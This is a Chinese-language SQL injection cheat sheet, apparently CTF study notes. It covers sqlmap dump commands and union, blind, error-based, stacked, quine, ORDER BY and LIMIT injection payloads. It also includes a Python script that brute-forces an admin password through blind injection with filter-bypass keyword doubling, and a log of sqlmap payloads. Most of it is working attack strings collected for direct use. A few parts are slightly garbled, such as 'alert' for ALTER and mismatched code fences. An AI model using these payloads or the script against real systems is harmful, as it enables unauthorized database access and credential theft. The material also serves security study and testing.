sqlmap

--batch自动使用默认参数

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 数据库名称--tables

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump

常见注入手段

获取tables+databases+version

获取databases+version

使用database()函数和version() 函数

获取 tables

select table_name from information_schema.tables where table_schema=database();

获取字段

select column_name from information_schema.columns where table_name='xxx' and table_schema=database();

select 被 limit 造成的无回显

选择不存在的value;

limit 0,1

使用group_concat()

select group_concat(xxxx) from xxx

concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号

手注如何判断sql注入

' 判断有没有对字符处理

and 1=1 判断

时间盲注判断

1'+AND+(SELECT*FROM+(SELECT+SLEEP(5))a)+AND+'1'='1'

其中a为SELECT+SLEEP(5)的别名

盲注常用函数

sleep(n) =— 返回0 命令中断返回1

substr(a,b,c)

count() — 计算总数

ascii() — 返回字符的ascii码

length() — 返回字符串的长度

基于bool的盲注

a' or 1=1

substr

盲注情况下用 substr (变种mid())获取数据

select substr(database(),2,1) = 'q' and sleep(2)

获取table_name

 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101  --+

获取长度

 and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))>1  --+

变种mid()

用法和 substr 相同

left()

select left('awaawawa',3) #return awa

ascii

用 ascii() (变种ord) 转换为ascii码

select ascii(substr(database(),2,1)) = 33 and sleep(2);

变种ord

通过length()获取字符串长度

获取database长度

length(database()) = 1 and sleep(1);

rand() 随机数(伪

select rand() from user;
rand(int) #只要int值相等,最后的随机数也相等

floor(x) 返回一个小于x的整数

select floor(1.1)/*1*/,floor(0.99)/*0*/,floor(2.1)/*2*/

报错盲注

updatexml:

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+

被截断

updatexml(1,(mid(concat(0x7e,(select flag from flag limit 0,1),0x7e),0,31)),3) --+

extractvalue


'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23

extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23

extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23

^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23

被截断

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23

堆叠注入

考察堆叠注入


';show tables--+

得到表名


';show columns from `1919810931114514`--+

得到flag字段

最后


1'; handler `1919810931114514` open as `a`; handler `a` read next;#

handler


 mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
 1 ';handler (数据表)  open ;handler (数据表) read first;handler (数据表) close; % 23

rename:

修改一个或多个表的名称

RENAME TABLE old_table_name TO new_table_name;

alert:

向表中添加字段

Alter table [表名] add [列名] 类型

保留old和new列名

列名:a ---->b 列类型
   ALTER TABLE t1 CHANGE a b INTEGER;

由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

Quine注入

参考

主要利用 replace 这个函数

replace(str,old_string,new_string)

REPLACE("间隔符",编码的间隔符,"间隔符")

playload 模板

第一步:

REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str=第一步

eg:

'/**/union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

Quine注入说白了就是套娃,导致输入和输出一模一样

神奇字符串绕过

SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘
中使用

ffifdyop经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:’or’6<乱码> 即 'or'66�]��!r,��b

用途:

select * from admin where password=’’or’6<乱码>’

就相当于select * from admin where password=’’or 1 实现sql注入

不光有ffifdyop 还有 129581926211651571912466741651878684928 也可达同样的效果

总之,相当于 select * from admin where password=''or ture

获取columns注释

这里获取scretdata的注释

union select column_comment,2 from information_schema.columns where table_schema='ctf' and table_name='flag' and column_name = 'scretdata' #

盲注脚本

import requests

url = "http://192.168.18.28/login.php"

password = "admin' oorr asasciicii(substr((selselectect passwoorrd frfromom user WHERE username = 'admin'),{id},1))={ch}-- "

flag = ""

for id in range(1, 32):
    for ch in range(127, 1, -1):
        # print(ch)
        res = requests.post(url, data={"username": "admin", "password": password.format(id=id, ch=ch)})
        if "admin.html" in res.text:
            flag = flag + chr(ch)
            print(flag)

order by 和limit 后注入

order by

https://www.freebuf.com/articles/web/377663.html
order by的执行是在sql语句的最后面,因此order by后面不能直接跟union连接查询。这样在sql注入的时候就不能使用union注入了。
order by后面可以跟if(),case when else这样的复合查询语句。可以用来进行bool注入,延时注入等
order by后面可以接数字,字段名,这个可以用来判断是否存在注入以及字段数。

判断order by后面是否存在注入点

  1. 可以改变order by后的列名看排序是否改变来判断是在order by后面的注入点。然后加上ASC|DESC看结果排序是否有改变,有改变则证明有注入点
  2. 通过bool类型进行判断,下面两个页面如果返回结果不同,则证明有注入点
    ```sql
    (select (case when (3013=3014) then ‘’ else (select 1083 union select 9794)end))

(select (case when (3013=3013) then ‘’ else (select 1083 union select 9794)end))

3.mysql可以使用延时判断,页面响应时间如果延时3秒,那么证明有注入。
利用方式其实跟其它注入位置相同,mysql可以通过bool类型注入和延时注入来读取数据,sqlserver数据库目前测试可以通过bool类型来读取数据。当然,如果有错误回显,可以使用报错注入。
可能用到的函数:length()、substr()、ascii()函数
如下面利用bool注入获取内容的payload。

```sql
[PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:26] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>108) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>110) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:27] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>109) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>104) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:28] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>100) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>102) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),5,1))>101) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:29] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>112) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>120) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>116) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:30] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>118) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),6,1))>119) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>96) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
[14:44:31] [PAYLOAD] (SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),7,1))>48) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))

limit语句后的sql注入

limit是在mysql中的语句,在sqlserver中无该字段,对应的为top。具体用法如下

LIMIT[位置偏移量,]行数

其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。
SELECT 
[ALL | DISTINCT | DISTINCTROW ] 
  [HIGH_PRIORITY] 
  [STRAIGHT_JOIN] 
  [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
  [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
select_expr [, select_expr ...] 
[FROM table_references 
[WHERE where_condition] 
[GROUP BY {col_name | expr | position} 
  [ASC | DESC], ... [WITH ROLLUP]] 
[HAVING where_condition] 
[ORDER BY {col_name | expr | position} 
  [ASC | DESC], ...] 
[LIMIT {[offset,] row_count | row_count OFFSET offset}] 
[PROCEDURE procedure_name(argument_list)] 
[INTO OUTFILE 'file_name' export_options 
  | INTO DUMPFILE 'file_name' 
  | INTO var_name [, var_name]] 
[FOR UPDATE | LOCK IN SHARE MODE]]
  1. limit前面没有order by时,后面可以跟union,如果存在order by,则不能使用union。
  2. limit后面不能直接跟select语句和if语句。可以跟procedure语句,值得注意的是只有在5.0.0< MySQL <5.6.6版本才可以使用,procedure后面支持报错注入以及时间盲注
  3. limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难。

    limit注入点

    ```sql
    select * from limittest limit 1,[可控点]

select … limit [可控点]


## 利用

可以通过下面的语句进行利用。
```s
 extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23

# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
PS:时间盲注这里不支持sleep,可以使用BENCHMARK
BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)

一个好奇的人